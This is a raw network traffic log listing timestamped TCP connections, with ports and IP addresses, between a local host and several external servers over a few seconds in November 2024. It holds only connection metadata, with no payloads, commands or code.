Nov 27, 2024 16:34:30.711740017 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:30.711843967 CET	49724	443	192.168.2.7	142.250.181.100
Nov 27, 2024 16:34:30.711850882 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:30.723882914 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:30.723908901 CET	80	49738	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:30.724051952 CET	49738	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:30.724179983 CET	49738	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:30.725760937 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:30.725862026 CET	49724	443	192.168.2.7	142.250.181.100
Nov 27, 2024 16:34:30.725869894 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:30.735450983 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:30.735577106 CET	49724	443	192.168.2.7	142.250.181.100
Nov 27, 2024 16:34:30.735584974 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:30.745170116 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:30.745455027 CET	49724	443	192.168.2.7	142.250.181.100
Nov 27, 2024 16:34:30.745464087 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:30.757174969 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:30.757353067 CET	49724	443	192.168.2.7	142.250.181.100
Nov 27, 2024 16:34:30.757363081 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:30.770853996 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:30.770935059 CET	49724	443	192.168.2.7	142.250.181.100
Nov 27, 2024 16:34:30.770942926 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:30.783395052 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:30.783616066 CET	49724	443	192.168.2.7	142.250.181.100
Nov 27, 2024 16:34:30.783622980 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:30.795929909 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:30.796087980 CET	49724	443	192.168.2.7	142.250.181.100
Nov 27, 2024 16:34:30.796096087 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:30.805260897 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:30.805335045 CET	49724	443	192.168.2.7	142.250.181.100
Nov 27, 2024 16:34:30.805347919 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:30.826589108 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:30.826668978 CET	49724	443	192.168.2.7	142.250.181.100
Nov 27, 2024 16:34:30.826678038 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:30.833676100 CET	443	49729	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:30.834800959 CET	49729	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:30.834800959 CET	49729	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:30.834824085 CET	443	49729	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:30.834836006 CET	443	49729	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:30.840717077 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:30.840806007 CET	49724	443	192.168.2.7	142.250.181.100
Nov 27, 2024 16:34:30.840816021 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:30.844326019 CET	80	49738	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:30.893640995 CET	49724	443	192.168.2.7	142.250.181.100
Nov 27, 2024 16:34:30.908596039 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:30.911577940 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:30.911859989 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:30.913552046 CET	49724	443	192.168.2.7	142.250.181.100
Nov 27, 2024 16:34:30.913568020 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:30.913676023 CET	49724	443	192.168.2.7	142.250.181.100
Nov 27, 2024 16:34:30.916167021 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:30.920867920 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:30.921094894 CET	49724	443	192.168.2.7	142.250.181.100
Nov 27, 2024 16:34:30.921107054 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:30.927274942 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:30.927345991 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:30.927395105 CET	49724	443	192.168.2.7	142.250.181.100
Nov 27, 2024 16:34:30.927402973 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:30.927747965 CET	49724	443	192.168.2.7	142.250.181.100
Nov 27, 2024 16:34:30.935285091 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:30.946615934 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:30.946728945 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:30.947269917 CET	49724	443	192.168.2.7	142.250.181.100
Nov 27, 2024 16:34:30.947278023 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:30.947587013 CET	49724	443	192.168.2.7	142.250.181.100
Nov 27, 2024 16:34:30.957375050 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:30.968312025 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:30.968580008 CET	49724	443	192.168.2.7	142.250.181.100
Nov 27, 2024 16:34:30.968588114 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:30.978827953 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:30.978935957 CET	49724	443	192.168.2.7	142.250.181.100
Nov 27, 2024 16:34:30.978940964 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:30.978952885 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:30.979322910 CET	49724	443	192.168.2.7	142.250.181.100
Nov 27, 2024 16:34:30.989604950 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:31.000335932 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:31.000375986 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:31.000427961 CET	49724	443	192.168.2.7	142.250.181.100
Nov 27, 2024 16:34:31.000439882 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:31.000547886 CET	49724	443	192.168.2.7	142.250.181.100
Nov 27, 2024 16:34:31.010996103 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:31.021223068 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:31.021281958 CET	49724	443	192.168.2.7	142.250.181.100
Nov 27, 2024 16:34:31.021301031 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:31.030786037 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:31.030854940 CET	49724	443	192.168.2.7	142.250.181.100
Nov 27, 2024 16:34:31.030864000 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:31.040422916 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:31.040489912 CET	49724	443	192.168.2.7	142.250.181.100
Nov 27, 2024 16:34:31.040501118 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:31.049978971 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:31.050019979 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:31.050044060 CET	49724	443	192.168.2.7	142.250.181.100
Nov 27, 2024 16:34:31.050052881 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:31.050121069 CET	49724	443	192.168.2.7	142.250.181.100
Nov 27, 2024 16:34:31.057894945 CET	443	49730	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:31.058374882 CET	49730	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:31.058398008 CET	443	49730	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:31.058820963 CET	49730	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:31.058831930 CET	443	49730	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:31.059046984 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:31.068171978 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:31.068206072 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:31.068234921 CET	49724	443	192.168.2.7	142.250.181.100
Nov 27, 2024 16:34:31.068248034 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:31.068305016 CET	49724	443	192.168.2.7	142.250.181.100
Nov 27, 2024 16:34:31.069586992 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:31.078814983 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:31.078890085 CET	49724	443	192.168.2.7	142.250.181.100
Nov 27, 2024 16:34:31.078898907 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:31.088232994 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:31.088323116 CET	49724	443	192.168.2.7	142.250.181.100
Nov 27, 2024 16:34:31.088330984 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:31.098257065 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:31.098324060 CET	49724	443	192.168.2.7	142.250.181.100
Nov 27, 2024 16:34:31.098330975 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:31.108988047 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:31.109183073 CET	49724	443	192.168.2.7	142.250.181.100
Nov 27, 2024 16:34:31.109191895 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:31.113012075 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:31.113064051 CET	49724	443	192.168.2.7	142.250.181.100
Nov 27, 2024 16:34:31.113082886 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:31.122018099 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:31.122071028 CET	49724	443	192.168.2.7	142.250.181.100
Nov 27, 2024 16:34:31.122087002 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:31.125073910 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:31.125129938 CET	49724	443	192.168.2.7	142.250.181.100
Nov 27, 2024 16:34:31.125138044 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:31.129103899 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:31.129138947 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:31.129156113 CET	49724	443	192.168.2.7	142.250.181.100
Nov 27, 2024 16:34:31.129167080 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:31.129225969 CET	49724	443	192.168.2.7	142.250.181.100
Nov 27, 2024 16:34:31.132075071 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:31.136176109 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:31.136260986 CET	49724	443	192.168.2.7	142.250.181.100
Nov 27, 2024 16:34:31.136270046 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:31.139683962 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:31.139749050 CET	49724	443	192.168.2.7	142.250.181.100
Nov 27, 2024 16:34:31.139756918 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:31.140259981 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:31.140322924 CET	49724	443	192.168.2.7	142.250.181.100
Nov 27, 2024 16:34:31.140330076 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:31.140571117 CET	49724	443	192.168.2.7	142.250.181.100
Nov 27, 2024 16:34:31.140619040 CET	443	49724	142.250.181.100	192.168.2.7
Nov 27, 2024 16:34:31.140680075 CET	49724	443	192.168.2.7	142.250.181.100
Nov 27, 2024 16:34:31.199493885 CET	443	49733	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:31.201869011 CET	49733	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:31.201901913 CET	443	49733	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:31.203161955 CET	49733	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:31.203167915 CET	443	49733	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:31.205646038 CET	443	49732	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:31.205993891 CET	49732	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:31.206020117 CET	443	49732	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:31.206406116 CET	49732	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:31.206413031 CET	443	49732	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:31.270489931 CET	443	49734	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:31.271466017 CET	49734	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:31.271488905 CET	443	49734	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:31.271934032 CET	49734	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:31.271939993 CET	443	49734	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:31.289374113 CET	443	49729	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:31.289447069 CET	443	49729	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:31.289501905 CET	49729	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:31.290024996 CET	49729	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:31.290050030 CET	443	49729	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:31.290065050 CET	49729	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:31.290070057 CET	443	49729	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:31.293548107 CET	49739	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:31.293586969 CET	443	49739	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:31.293692112 CET	49739	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:31.293832064 CET	49739	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:31.293848038 CET	443	49739	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:31.512070894 CET	443	49730	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:31.512164116 CET	443	49730	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:31.512408972 CET	49730	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:31.512635946 CET	49730	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:31.512651920 CET	443	49730	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:31.512658119 CET	49730	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:31.512664080 CET	443	49730	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:31.517590046 CET	49743	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:31.517622948 CET	443	49743	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:31.517690897 CET	49743	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:31.517939091 CET	49743	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:31.517951012 CET	443	49743	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:31.622272015 CET	49744	443	192.168.2.7	23.52.182.8
Nov 27, 2024 16:34:31.622315884 CET	443	49744	23.52.182.8	192.168.2.7
Nov 27, 2024 16:34:31.622397900 CET	49744	443	192.168.2.7	23.52.182.8
Nov 27, 2024 16:34:31.623486042 CET	49744	443	192.168.2.7	23.52.182.8
Nov 27, 2024 16:34:31.623497963 CET	443	49744	23.52.182.8	192.168.2.7
Nov 27, 2024 16:34:31.645994902 CET	443	49733	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:31.646086931 CET	443	49733	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:31.646142960 CET	49733	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:31.646373987 CET	49733	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:31.646389008 CET	443	49733	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:31.646414042 CET	49733	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:31.646420002 CET	443	49733	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:31.649724007 CET	49745	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:31.649766922 CET	443	49745	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:31.649847031 CET	49745	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:31.650002003 CET	49745	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:31.650011063 CET	443	49745	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:31.654047966 CET	443	49732	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:31.654124975 CET	443	49732	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:31.654195070 CET	49732	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:31.654391050 CET	49732	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:31.654422045 CET	443	49732	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:31.654441118 CET	49732	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:31.654452085 CET	443	49732	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:31.656848907 CET	49746	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:31.656883001 CET	443	49746	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:31.656961918 CET	49746	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:31.657090902 CET	49746	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:31.657105923 CET	443	49746	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:31.723666906 CET	443	49734	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:31.723732948 CET	443	49734	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:31.723810911 CET	49734	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:31.724014044 CET	49734	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:31.724049091 CET	443	49734	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:31.724067926 CET	49734	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:31.724077940 CET	443	49734	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:31.727895975 CET	49747	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:31.727946997 CET	443	49747	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:31.728015900 CET	49747	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:31.728188992 CET	49747	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:31.728203058 CET	443	49747	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:31.829384089 CET	49727	443	192.168.2.7	4.175.87.197
Nov 27, 2024 16:34:31.871334076 CET	443	49727	4.175.87.197	192.168.2.7
Nov 27, 2024 16:34:32.432071924 CET	443	49727	4.175.87.197	192.168.2.7
Nov 27, 2024 16:34:32.432100058 CET	443	49727	4.175.87.197	192.168.2.7
Nov 27, 2024 16:34:32.432138920 CET	443	49727	4.175.87.197	192.168.2.7
Nov 27, 2024 16:34:32.432200909 CET	49727	443	192.168.2.7	4.175.87.197
Nov 27, 2024 16:34:32.432229042 CET	443	49727	4.175.87.197	192.168.2.7
Nov 27, 2024 16:34:32.432259083 CET	49727	443	192.168.2.7	4.175.87.197
Nov 27, 2024 16:34:32.432286024 CET	49727	443	192.168.2.7	4.175.87.197
Nov 27, 2024 16:34:32.452621937 CET	443	49727	4.175.87.197	192.168.2.7
Nov 27, 2024 16:34:32.452698946 CET	443	49727	4.175.87.197	192.168.2.7
Nov 27, 2024 16:34:32.452744007 CET	49727	443	192.168.2.7	4.175.87.197
Nov 27, 2024 16:34:32.452744961 CET	49727	443	192.168.2.7	4.175.87.197
Nov 27, 2024 16:34:32.652518034 CET	80	49738	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:32.652585030 CET	49738	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:32.771940947 CET	49738	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:32.796384096 CET	49726	443	192.168.2.7	142.250.181.100
Nov 27, 2024 16:34:32.892020941 CET	80	49738	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:33.068394899 CET	443	49744	23.52.182.8	192.168.2.7
Nov 27, 2024 16:34:33.068491936 CET	49744	443	192.168.2.7	23.52.182.8
Nov 27, 2024 16:34:33.070461035 CET	49744	443	192.168.2.7	23.52.182.8
Nov 27, 2024 16:34:33.070472002 CET	443	49744	23.52.182.8	192.168.2.7
Nov 27, 2024 16:34:33.070888042 CET	443	49744	23.52.182.8	192.168.2.7
Nov 27, 2024 16:34:33.093550920 CET	443	49739	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:33.098972082 CET	49739	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:33.099003077 CET	443	49739	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:33.102628946 CET	49739	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:33.102637053 CET	443	49739	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:33.110972881 CET	49744	443	192.168.2.7	23.52.182.8
Nov 27, 2024 16:34:33.140130043 CET	49744	443	192.168.2.7	23.52.182.8
Nov 27, 2024 16:34:33.187330008 CET	443	49744	23.52.182.8	192.168.2.7
Nov 27, 2024 16:34:33.305715084 CET	443	49743	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:33.307902098 CET	49743	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:33.307921886 CET	443	49743	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:33.308458090 CET	49743	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:33.308465958 CET	443	49743	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:33.439297915 CET	443	49745	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:33.440495014 CET	49745	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:33.440526962 CET	443	49745	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:33.442929983 CET	49745	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:33.442944050 CET	443	49745	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:33.454137087 CET	443	49747	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:33.454888105 CET	49747	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:33.454912901 CET	443	49747	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:33.455601931 CET	49747	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:33.455610037 CET	443	49747	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:33.455842018 CET	443	49746	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:33.456285000 CET	49746	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:33.456301928 CET	443	49746	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:33.456783056 CET	49746	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:33.456789017 CET	443	49746	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:33.537621975 CET	443	49739	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:33.537697077 CET	443	49739	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:33.537836075 CET	49739	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:33.540359974 CET	49739	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:33.540384054 CET	443	49739	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:33.540397882 CET	49739	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:33.540404081 CET	443	49739	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:33.544226885 CET	49750	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:33.544261932 CET	443	49750	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:33.544374943 CET	49750	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:33.544584990 CET	49750	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:33.544609070 CET	443	49750	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:33.587435961 CET	443	49744	23.52.182.8	192.168.2.7
Nov 27, 2024 16:34:33.587610006 CET	443	49744	23.52.182.8	192.168.2.7
Nov 27, 2024 16:34:33.587699890 CET	49744	443	192.168.2.7	23.52.182.8
Nov 27, 2024 16:34:33.651119947 CET	49744	443	192.168.2.7	23.52.182.8
Nov 27, 2024 16:34:33.651139021 CET	443	49744	23.52.182.8	192.168.2.7
Nov 27, 2024 16:34:33.651236057 CET	49744	443	192.168.2.7	23.52.182.8
Nov 27, 2024 16:34:33.651242018 CET	443	49744	23.52.182.8	192.168.2.7
Nov 27, 2024 16:34:33.722105980 CET	80	49738	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:33.722882032 CET	49738	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:33.784004927 CET	443	49743	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:33.784081936 CET	443	49743	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:33.784198999 CET	49743	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:33.803116083 CET	49743	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:33.803116083 CET	49743	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:33.803138018 CET	443	49743	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:33.803153992 CET	443	49743	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:33.839117050 CET	49751	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:33.839157104 CET	443	49751	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:33.839235067 CET	49751	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:33.840276957 CET	49751	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:33.840290070 CET	443	49751	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:33.848340034 CET	49752	443	192.168.2.7	23.52.182.8
Nov 27, 2024 16:34:33.848396063 CET	443	49752	23.52.182.8	192.168.2.7
Nov 27, 2024 16:34:33.848480940 CET	49752	443	192.168.2.7	23.52.182.8
Nov 27, 2024 16:34:33.848870993 CET	49752	443	192.168.2.7	23.52.182.8
Nov 27, 2024 16:34:33.848891973 CET	443	49752	23.52.182.8	192.168.2.7
Nov 27, 2024 16:34:33.883759022 CET	443	49745	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:33.883840084 CET	443	49745	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:33.884017944 CET	49745	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:33.889991999 CET	443	49747	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:33.890067101 CET	443	49747	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:33.890145063 CET	49747	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:33.898366928 CET	443	49746	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:33.898574114 CET	443	49746	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:33.898797989 CET	49746	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:33.919115067 CET	49745	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:33.919151068 CET	443	49745	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:33.919174910 CET	49745	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:33.919182062 CET	443	49745	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:33.920427084 CET	49747	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:33.920439005 CET	443	49747	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:33.920468092 CET	49747	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:33.920474052 CET	443	49747	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:33.925618887 CET	49746	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:33.925640106 CET	443	49746	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:33.925654888 CET	49746	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:33.925662041 CET	443	49746	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:33.928107977 CET	49753	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:33.928148985 CET	443	49753	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:33.928216934 CET	49753	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:33.928702116 CET	49754	443	192.168.2.7	13.107.246.63
